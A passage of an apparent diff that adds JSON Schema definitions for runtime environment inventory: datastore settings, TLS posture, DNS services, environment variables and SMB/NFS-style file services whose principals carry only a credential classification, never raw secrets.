/ ``operator_secret`` classifications omit raw values;\nnames that look credential-bearing remain scenario content unless the\nauthor marks the value withheld.","if":{"properties":{"classification":{"anyOf":[{"pattern":"^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$","type":"string"},{"pattern":"^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$","type":"string"}]}},"required":["classification"]},"properties":{"classification":{"anyOf":[{"$ref":"#/$defs/RuntimeSensitivityClassification"},{"$ref":"#/$defs/_r160"}],"default":"unknown","title":"Classification"},"description":{"$ref":"#/$defs/_r53"},"name":{"$ref":"#/$defs/_r64"},"provenance":{"anyOf":[{"$ref":"#/$defs/RuntimeDatastoreSettingProvenance"},{"$ref":"#/$defs/_r153"}],"default":"unknown","title":"Provenance"},"scope":{"anyOf":[{"$ref":"#/$defs/RuntimeDatastoreSettingScope"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[cC][lL][uU][sS][tT][eE][rR]|[nN][oO][dD][eE]|[pP][aA][rR][tT][iI][tT][iI][oO][nN]|[eE][nN][gG][iI][nN][eE]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"engine","title":"Scope"},"setting_id":{"$ref":"#/$defs/_r3"},"value":{"$ref":"#/$defs/_r80"}},"required":["setting_id"],"then":{"not":{"properties":{"value":{"minLength":1,"type":"string"}},"required":["value"]}},"title":"RuntimeDatastoreSetting","type":"object"}, + "RuntimeDatastoreSettingProvenance": {"description":"Where an observed datastore runtime setting value came from.\n\nOPEN taxonomy: provenance sources are extensible, so both ``unknown`` and\n``other`` are carried (mirrors ``DatabaseSettingProvenance``).","enum":["introspection","configuration_file","image_default","operator_override","runtime_default","unknown","other"],"title":"RuntimeDatastoreSettingProvenance","type":"string"}, + "RuntimeDatastoreSettingScope": {"description":"The scope a datastore runtime setting applies at.\n\nCLOSED structural vocab: the scope lattice (cluster / node / partition /\nengine) is fixed by the spine's own topology, so no ``unknown`` / ``other``.","enum":["cluster","node","partition","engine"],"title":"RuntimeDatastoreSettingScope","type":"string"}, + "RuntimeDatastoreTemplate": {"additionalProperties":false,"description":"A bounded manifest of an observed index template body.\n\nThe template captures patterns, selected settings, optional mapping linkage,\ndigest, and evidence refs without embedding the backend's raw template JSON.","properties":{"description":{"$ref":"#/$defs/_r53"},"evidence_refs":{"$ref":"#/$defs/_r118"},"index_patterns":{"items":{"$ref":"#/$defs/_r185"},"title":"Index Patterns","type":"array"},"mapping_ref":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Mapping Ref","type":"string"},"name":{"$ref":"#/$defs/_r64"},"settings_summary":{"additionalProperties":{"anyOf":[{"$ref":"#/$defs/_r185"},{"type":"integer"},{"type":"boolean"}]},"title":"Settings Summary","type":"object"},"template_digest":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Template Digest","type":"string"},"template_id":{"$ref":"#/$defs/_r3"}},"required":["template_id"],"title":"RuntimeDatastoreTemplate","type":"object"}, + "RuntimeDatastoreTransportSecurity": {"additionalProperties":false,"description":"The single observed transport-security posture of a datastore service.\n\nRecords the intra-cluster transport TLS mode and whether client/node\ncertificate verification is enforced \u2014 the observable ``xpack.security`` /\n``SKIPSSL_VERIFY`` posture, never the certificate material itself.","properties":{"client_verification":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Client Verification"},"description":{"$ref":"#/$defs/_r53"},"mode":{"anyOf":[{"$ref":"#/$defs/RuntimeDatastoreTransportSecurityMode"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[nN][oO][nN][eE]|[tT][lL][sS]|[mM][uU][tT][uU][aA][lL][-_][tT][lL][sS]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"none","title":"Mode"},"node_verification":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Node Verification"},"transport_security_id":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Transport Security Id","type":"string"}},"required":["transport_security_id"],"title":"RuntimeDatastoreTransportSecurity","type":"object"}, + "RuntimeDatastoreTransportSecurityMode": {"description":"The transport-security posture of a datastore service.\n\nCLOSED structural vocab: the observable TLS posture is a fixed three-way\ndistinction (none / one-way TLS / mutual TLS), so no ``unknown`` / ``other``.\nA ``${var}`` placeholder remains expressible at the field level.","enum":["none","tls","mutual_tls"],"title":"RuntimeDatastoreTransportSecurityMode","type":"string"}, + "RuntimeDependencyManifest": {"additionalProperties":false,"description":"A dependency manifest required in the runtime artifact.","properties":{"ecosystem":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Ecosystem","type":"string"},"format":{"$ref":"#/$defs/_r58"},"name":{"$ref":"#/$defs/_r64"},"path":{"$ref":"#/$defs/_r176"},"version":{"$ref":"#/$defs/_r81"}},"required":["ecosystem","path"],"title":"RuntimeDependencyManifest","type":"object"}, + "RuntimeDeviceMapping": {"additionalProperties":false,"description":"A host device mapping required in runtime configuration.","properties":{"container_path":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Container Path","type":"string"},"description":{"$ref":"#/$defs/_r53"},"host_path":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Host Path","type":"string"},"permissions":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Permissions","type":"string"}},"required":["host_path","container_path"],"title":"RuntimeDeviceMapping","type":"object"}, + "RuntimeDnsService": {"additionalProperties":false,"description":"An observed DNS service hosted by a node.","properties":{"configuration_file_refs":{"$ref":"#/$defs/_r108"},"description":{"$ref":"#/$defs/_r53"},"dns_service_id":{"$ref":"#/$defs/_r3"},"dynamic_update":{"anyOf":[{"$ref":"#/$defs/DnsDynamicUpdatePolicy"},{"type":"null"}],"default":null},"implementation":{"anyOf":[{"$ref":"#/$defs/DnsServerImplementation"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[bB][iI][nN][dD]|[cC][oO][rR][eE][dD][nN][sS]|[pP][oO][wW][eE][rR][dD][nN][sS]|[kK][nN][oO][tT][-_][dD][nN][sS]|[nN][sS][dD]|[wW][iI][nN][dD][oO][wW][sS][-_][dD][nN][sS]|[dD][nN][sS][mM][aA][sS][qQ]|[uU][nN][bB][oO][uU][nN][dD]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Implementation"},"log_file_refs":{"$ref":"#/$defs/_r123"},"name":{"$ref":"#/$defs/_r64"},"resolver_policy":{"anyOf":[{"$ref":"#/$defs/DnsResolverPolicy"},{"type":"null"}],"default":null},"roles":{"items":{"anyOf":[{"$ref":"#/$defs/DnsServiceRole"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[aA][uU][tT][hH][oO][rR][iI][tT][aA][tT][iI][vV][eE]|[rR][eE][cC][uU][rR][sS][iI][vV][eE][-_][rR][eE][sS][oO][lL][vV][eE][rR]|[fF][oO][rR][wW][aA][rR][dD][iI][nN][gG][-_][rR][eE][sS][oO][lL][vV][eE][rR]|[cC][aA][cC][hH][iI][nN][gG][-_][rR][eE][sS][oO][lL][vV][eE][rR]|[sS][tT][uU][bB][-_][rR][eE][sS][oO][lL][vV][eE][rR]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}]},"title":"Roles","type":"array"},"service":{"$ref":"#/$defs/_r70"},"settings":{"items":{"$ref":"#/$defs/DnsRuntimeSetting"},"title":"Settings","type":"array"},"version":{"$ref":"#/$defs/_r81"},"zones":{"items":{"$ref":"#/$defs/DnsZone"},"title":"Zones","type":"array"}},"required":["dns_service_id"],"title":"RuntimeDnsService","type":"object"}, + "RuntimeEnvironmentFile": {"additionalProperties":false,"description":"A node runtime env-file delivered from a generated-artifact output.\n\nThe file is an opaque generated-artifact output projected as one runtime\nenvironment input; RAES does not parse or compare its individual key/value\nentries. Authors declare the binding here, on the node, not as a fake\nvariable name and not as an ordinary read-only file mount.\n\n``name`` is a bounded portable identity, not a filesystem path: the compiler\nforwards it as the env-file target in the provisioning projection, so it must\nnot admit path traversal, newlines, or shell metacharacters that could\nredirect the generated secret outside the runtime env-file namespace.","properties":{"description":{"$ref":"#/$defs/_r53"},"name":{"$ref":"#/$defs/_r1"},"value_from":{"$ref":"#/$defs/GeneratedArtifactValueSource"}},"required":["name","value_from"],"title":"RuntimeEnvironmentFile","type":"object"}, + "RuntimeEnvironmentValueClassification": {"description":"Sensitivity classification for a required runtime environment value.","enum":["plain","redacted","secret_fixture","operator_secret","unknown","other"],"title":"RuntimeEnvironmentValueClassification","type":"string"}, + "RuntimeEnvironmentVariable": {"additionalProperties":false,"allOf":[{"not":{"allOf":[{"properties":{"value_from":{"not":{"type":"null"}}},"required":["value_from"]},{"properties":{"value":{"minLength":1}},"required":["value"]}]}},{"not":{"allOf":[{"properties":{"value_from":{"not":{"type":"null"}}},"required":["value_from"]},{"properties":{"value_classification":{"const":"operator_secret"}},"required":["value_classification"]}]}}],"description":"Required runtime environment variable with provenance and sensitivity.","if":{"properties":{"value_classification":{"anyOf":[{"pattern":"^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$","type":"string"},{"pattern":"^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$","type":"string"}]}},"required":["value_classification"]},"properties":{"description":{"$ref":"#/$defs/_r53"},"name":{"$ref":"#/$defs/_r174"},"provenance":{"anyOf":[{"$ref":"#/$defs/RuntimeEnvironmentVariableProvenance"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[cC][oO][mM][pP][oO][sS][eE]|[iI][mM][aA][gG][eE]|[oO][pP][eE][rR][aA][tT][oO][rR]|[cC][oO][nN][tT][aA][iI][nN][eE][rR]|[rR][uU][nN][tT][iI][mM][eE]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Provenance"},"source":{"$ref":"#/$defs/_r74"},"value":{"$ref":"#/$defs/_r80"},"value_classification":{"$ref":"#/$defs/_r9"},"value_from":{"$ref":"#/$defs/_r7"}},"required":["name"],"then":{"not":{"properties":{"value":{"minLength":1,"type":"string"}},"required":["value"]}},"title":"RuntimeEnvironmentVariable","type":"object"}, + "RuntimeEnvironmentVariableProvenance": {"description":"Required origin class for a runtime environment variable.","enum":["compose","image","operator","container","runtime","other","unknown"],"title":"RuntimeEnvironmentVariableProvenance","type":"string"}, + "RuntimeExtraHost": {"additionalProperties":false,"description":"A required extra host mapping in runtime configuration.","properties":{"address":{"$ref":"#/$defs/_r168"},"description":{"$ref":"#/$defs/_r53"},"hostname":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Hostname","type":"string"}},"required":["hostname","address"],"title":"RuntimeExtraHost","type":"object"}, + "RuntimeFileService": {"additionalProperties":false,"description":"A node-scoped runtime file-service inventory.\n\n``service`` references the owning same-node ``Node.services[].name``\n(bare name or qualified ``nodes..services.``).","properties":{"access_observations":{"items":{"$ref":"#/$defs/RuntimeFileServiceAccessObservation"},"title":"Access Observations","type":"array"},"access_rules":{"items":{"$ref":"#/$defs/RuntimeFileServiceAccessRule"},"title":"Access Rules","type":"array"},"backend":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Backend","type":"string"},"description":{"$ref":"#/$defs/_r53"},"file_service_id":{"$ref":"#/$defs/_r3"},"principals":{"items":{"$ref":"#/$defs/RuntimeFileServicePrincipal"},"title":"Principals","type":"array"},"protocol":{"anyOf":[{"$ref":"#/$defs/RuntimeFileServiceProtocol"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[sS][mM][bB]|[cC][iI][fF][sS]|[nN][fF][sS]|[aA][fF][pP]|[fF][tT][pP]|[sS][fF][tT][pP]|[wW][eE][bB][dD][aA][vV]|[oO][bB][jJ][eE][cC][tT][-_][sS][tT][oO][rR][eE]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"other","title":"Protocol"},"service":{"$ref":"#/$defs/_r70"},"shares":{"items":{"$ref":"#/$defs/RuntimeFileServiceShare"},"title":"Shares","type":"array"}},"required":["file_service_id"],"title":"RuntimeFileService","type":"object"}, + "RuntimeFileServiceAccessAction": {"description":"Portable action vocabulary for file-service access policy/observations.","enum":["browse","list","read","write","create","delete","execute","administer","other","unknown"],"title":"RuntimeFileServiceAccessAction","type":"string"}, + "RuntimeFileServiceAccessBasis": {"description":"Basis/provenance for an access claim or observation.","enum":["share_config","passdb","filesystem_acl","directory_policy","observed_probe","computed","unknown","other"],"title":"RuntimeFileServiceAccessBasis","type":"string"}, + "RuntimeFileServiceAccessEffect": {"description":"Portable effect for an authored or computed file-service access rule.","enum":["allow","deny","not_applicable","unknown","other"],"title":"RuntimeFileServiceAccessEffect","type":"string"}, + "RuntimeFileServiceAccessObservation": {"additionalProperties":false,"description":"An observed probe outcome against a file-service resource.\n\nObservations are evidence; they support but do not overwrite authored\nor configured policy.","properties":{"action":{"$ref":"#/$defs/_r10"},"basis":{"anyOf":[{"$ref":"#/$defs/RuntimeFileServiceAccessBasis"},{"$ref":"#/$defs/_r162"}],"default":"observed_probe","title":"Basis"},"description":{"$ref":"#/$defs/_r53"},"observation_id":{"$ref":"#/$defs/_r3"},"outcome":{"anyOf":[{"$ref":"#/$defs/RuntimeFileServiceAccessOutcome"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[aA][lL][lL][oO][wW][eE][dD]|[dD][eE][nN][iI][eE][dD]|[eE][rR][rR][oO][rR]|[nN][oO][tT][-_][oO][bB][sS][eE][rR][vV][eE][dD]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Outcome"},"resource_ref":{"$ref":"#/$defs/_r179"},"sensitivity":{"$ref":"#/$defs/_r19"},"subject_ref":{"$ref":"#/$defs/_r181"}},"required":["observation_id","subject_ref","resource_ref"],"title":"RuntimeFileServiceAccessObservation","type":"object"}, + "RuntimeFileServiceAccessOutcome": {"description":"Observed outcome class for a per-share access probe.","enum":["allowed","denied","error","not_observed","unknown","other"],"title":"RuntimeFileServiceAccessOutcome","type":"string"}, + "RuntimeFileServiceAccessRule": {"additionalProperties":false,"description":"An authored or computed access rule for a file-service resource.","properties":{"action":{"$ref":"#/$defs/_r10"},"basis":{"anyOf":[{"$ref":"#/$defs/RuntimeFileServiceAccessBasis"},{"$ref":"#/$defs/_r162"}],"default":"unknown","title":"Basis"},"description":{"$ref":"#/$defs/_r53"},"effect":{"anyOf":[{"$ref":"#/$defs/RuntimeFileServiceAccessEffect"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[aA][lL][lL][oO][wW]|[dD][eE][nN][yY]|[nN][oO][tT][-_][aA][pP][pP][lL][iI][cC][aA][bB][lL][eE]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Effect"},"resource_ref":{"$ref":"#/$defs/_r179"},"rule_id":{"$ref":"#/$defs/_r3"},"subject_ref":{"$ref":"#/$defs/_r181"}},"required":["rule_id","subject_ref","resource_ref"],"title":"RuntimeFileServiceAccessRule","type":"object"}, + "RuntimeFileServiceCredentialClassification": {"description":"Semantic classification of a service-local credential.\n\nThe raw credential value MUST NOT be recorded; the principal model\nhas no field that can hold one. This vocabulary is the only credential\nrepresentation in the file-service surface \u2014 it describes the\nstrength/posture of the credential as observed (or its absence) so\ndownstream consumers can reason about exposure without leaking secret\nmaterial into fixtures, schemas, diagnostics, or logs.","enum":["no_credential","weak","default_or_trivial","strong","redacted","unknown","other"],"title":"RuntimeFileServiceCredentialClassification","type":"string"}, + "RuntimeFileServicePrincipal": {"additionalProperties":false,"description":"A service-local principal (Samba passdb-style account or group).\n\nService-local principals are NOT promoted to top-level ``accounts``,\n``runtime.local_identity``, or ``runtime.identity_authorities``.\nOptional ``local_user_ref`` and ``directory_subject_ref`` carry refs to\nthose surfaces when a mapping is observed.\n\nRaw credential material (passwords, NT/LM hashes, Kerberos keys, private\nkeys, bearer tokens, captured credentials) is unrepresentable on this\nrecord per ADR-037 \u00a74 and the secret-handling gate; only\n``credential_classification`` is carried, so the field surface itself\ncannot smuggle a secret into models, schemas, fixtures, diagnostics, or\nsnapshots.","properties":{"credential_classification":{"anyOf":[{"$ref":"#/$defs/RuntimeFileServiceCredentialClassification"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[nN][oO][-_][cC][rR][eE][dD][eE][nN][tT][iI][aA][lL]|[wW][eE][aA][kK]|[dD][eE][fF][aA][uU][lL][tT][-_][oO][rR][-_][tT][rR][iI][vV][iI][aA][lL]|[sS][tT][rR][oO][nN][gG]|[rR][eE][dD][aA][cC][tT][eE][dD]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Credential Classification"},"description":{"$ref":"#/$defs/_r53"},"directory_subject_ref":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Directory Subject Ref","type":"string"},"external_id":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"External Id","type":"string"},"kind":{"anyOf":[{"$ref":"#/$defs/RuntimeFileServicePrincipalKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[uU][sS][eE][rR]|[gG][rR][oO][uU][pP]|[mM][aA][cC][hH][iI][nN][eE]|[aA][lL][iI][aA][sS]|[gG][uU][eE][sS][tT]|[aA][nN][oO][nN][yY][mM][oO][uU][sS]|[sS][eE][rR][vV][iI][cC][eE][-_][aA][cC][cC][oO][uU][nN][tT]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"other","title":"Kind"},"local_user_ref":{"$ref":"#/$defs/_r63"},"name":{"$ref":"#/$defs/_r174"},"origin":{"anyOf":[{"$ref":"#/$defs/RuntimeFileServicePrincipalOrigin"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[bB][uU][iI][lL][tT][-_][iI][nN]|[pP][rR][oO][vV][iI][sS][iI][oO][nN][eE][dD]|[sS][yY][nN][cC][hH][rR][oO][nN][iI][zZ][eE][dD]|[rR][uU][nN][tT][iI][mM][eE][-_][cC][rR][eE][aA][tT][eE][dD]|[oO][pP][eE][rR][aA][tT][oO][rR]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Origin"},"principal_id":{"$ref":"#/$defs/_r3"},"status":{"anyOf":[{"$ref":"#/$defs/RuntimeFileServicePrincipalStatus"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[eE][nN][aA][bB][lL][eE][dD]|[dD][iI][sS][aA][bB][lL][eE][dD]|[lL][oO][cC][kK][eE][dD]|[nN][oO][-_][lL][oO][gG][iI][nN]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Status"}},"required":["principal_id","name"],"title":"RuntimeFileServicePrincipal","type":"object"}, + "RuntimeFileServicePrincipalKind": {"description":"Portable kind of a service-local principal in a file service.","enum":["user","group","machine","alias","guest","anonymous","service_account","other","unknown"],"title":"RuntimeFileServicePrincipalKind","type":"string"}, + "RuntimeFileServicePrincipalOrigin": {"description":"Origin/provenance class for a service-local principal record.","enum":["built_in","provisioned","synchronized","runtime_created","operator","unknown","other"],"title":"RuntimeFileServicePrincipalOrigin","type":"string"}, + "RuntimeFileServicePrincipalStatus": {"description":"Observed account status for a service-local principal.","enum":["enabled","disabled","locked","no_login","unknown","other"],"title":"RuntimeFileServicePrincipalStatus","type":"string"}, + "RuntimeFileServiceProtocol": {"description":"Portable protocol family for an observed runtime file service.","enum":["smb","cifs","nfs","afp","ftp","sftp","webdav","object_store","other","unknown"],"title":"RuntimeFileServiceProtocol","type":"string"}, + "RuntimeFileServiceShare": {"additionalProperties":false,"description":"A published share/resource on a runtime file service.","properties":{"backing_path":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Backing Path","type":"string"},"browseable":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Browseable"},"comment":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Comment","type":"string"},"description":{"$ref":"#/$defs/_r53"},"guest_ok":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Guest Ok"},"invalid_users":{"items":{"$ref":"#/$defs/_r185"},"title":"Invalid Users","type":"array"},"kind":{"anyOf":[{"$ref":"#/$defs/RuntimeFileShareKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[dD][iI][sS][kK]|[iI][pP][cC]|[pP][rR][iI][nN][tT][eE][rR]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"disk","title":"Kind"},"name":{"$ref":"#/$defs/_r174"},"read_only":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Read Only"},"share_id":{"$ref":"#/$defs/_r3"},"valid_groups":{"items":{"$ref":"#/$defs/_r185"},"title":"Valid Groups","type":"array"},"valid_users":{"items":{"$ref":"#/$defs/_r185"},"title":"Valid Users","type":"array"},"write_users":{"items":{"$ref":"#/$defs/_r185"},"title":"Write Users","type":"array"}},"required":["share_id","name"],"title":"RuntimeFileServiceShare","type":"object"}, + "RuntimeFileShareKind": {"description":"Observed kind of a published file-service share/resource.","enum":["disk","ipc","printer","other","unknown"],"title":"RuntimeFileShareKind","type":"string"}, + "RuntimeFilesystemEntry": {"additionalProperties":false,"description":"A filesystem entry observed inside a runtime node or container asset.","if":{"properties":{"presence":{"pattern":"^[Ee][Xx][Pp][Ee][Cc][Tt][Ee][Dd][_-][Aa][Bb][Ss][Ee][Nn][Tt]$"}},"required":["presence"]},"properties":{"content_digest":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Content Digest","type":"string"},"description":{"$ref":"#/$defs/_r53"},"digest_algorithm":{"$ref":"#/$defs/_r55"},"entry_type":{"anyOf":[{"$ref":"#/$defs/RuntimeFilesystemEntryType"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[fF][iI][lL][eE]|[dD][iI][rR][eE][cC][tT][oO][rR][yY]|[sS][yY][mM][lL][iI][nN][kK]|[dD][eE][vV][iI][cC][eE]|[sS][oO][cC][kK][eE][tT]|[fF][iI][fF][oO]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"other","title":"Entry Type"},"gid":{"$ref":"#/$defs/_r35"},"mode":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Mode","type":"string"},"owner_group":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Owner Group","type":"string"},"owner_user":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Owner 